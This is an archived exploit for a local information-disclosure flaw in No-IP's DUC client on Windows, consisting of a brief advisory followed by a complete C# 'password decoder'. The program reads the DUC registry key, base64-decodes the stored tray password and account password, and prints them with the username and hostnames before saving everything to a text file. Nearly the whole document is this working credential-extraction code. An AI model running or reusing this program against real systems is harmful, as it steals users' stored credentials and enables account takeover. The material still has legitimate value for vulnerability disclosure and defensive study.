78 lines
No EOL
2.9 KiB
Text
78 lines
No EOL
2.9 KiB
Text
source: https://www.securityfocus.com/bid/29758/info
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The DUC application for No-IP is prone to a local information-disclosure vulnerability when it is running on Microsoft Windows.
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Successfully exploiting this issue allows attackers to obtain potentially sensitive information that may aid in further attacks.
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/*
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* DUC NO-IP Local Password Information Disclosure
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* Author(s): Charalambous Glafkos
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* George Nicolaou
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* Date: March 11, 2008
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* Site: http://www.astalavista.com
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* Mail: glafkos@astalavista.com
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* ishtus@astalavista.com
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*
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* Synopsis: DUC NO-IP is prone to an information disclosure vulnerability due to a design error.
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* Attackers can exploit this issue to obtain sensitive information including tray password,
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* web username, password and hostnames that may lead to further attacks.
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*
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* Note: Vendor has been notified long time ago confirming a design error.
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* Vendor site: http://www.no-ip.com
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*
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*/
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using System;
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using System.Text;
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using System.IO;
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using Microsoft.Win32;
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namespace getRegistryValue
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{
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class getValue
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{
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static void Main()
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{
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getValue details = new getValue();
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String strDUC = details.getDUC();
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Console.WriteLine("\nDUC NO-IP Password Decoder v1.2");
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Console.WriteLine("Author: Charalambous Glafkos");
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Console.WriteLine("Bugs: glafkos@astalavista.com");
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Console.WriteLine(strDUC);
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FileInfo t = new FileInfo("no-ip.txt");
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StreamWriter Tex = t.CreateText();
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Tex.WriteLine(strDUC);
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Tex.Write(Tex.NewLine);
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Tex.Close();
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Console.WriteLine("\nThe file named no-ip.txt is created\n");
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}
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private string getDUC()
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{
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RegistryKey ducKey = Registry.LocalMachine;
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ducKey = ducKey.OpenSubKey(@"SOFTWARE\Vitalwerks\DUC", false);
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String TrayPassword = DecodeBytes(ducKey.GetValue("TrayPassword").ToString());
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String Username = ducKey.GetValue("Username").ToString();
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String Password = DecodeBytes(ducKey.GetValue("Password").ToString());
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String Hostnames = ducKey.GetValue("Hosts").ToString();
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String strDUC = "\nTrayPassword: " + TrayPassword
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+ "\nUsername: " + Username
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+ "\nPassword: " + Password
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+ "\nHostnames: " + Hostnames;
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return strDUC;
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}
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public static string DecodeBytes(String encryptedData)
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{
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Byte[] toDecodeByte = Convert.FromBase64String(encryptedData);
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System.Text.UTF8Encoding encoder = new System.Text.UTF8Encoding();
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System.Text.Decoder utf8Decode = encoder.GetDecoder();
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int charCount = utf8Decode.GetCharCount(toDecodeByte, 0, toDecodeByte.Length);
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Char[] decodedChar = new char[charCount];
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utf8Decode.GetChars(toDecodeByte, 0, toDecodeByte.Length, decodedChar, 0);
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String result = new String(decodedChar);
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return (new string(decodedChar));
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}
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}
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} |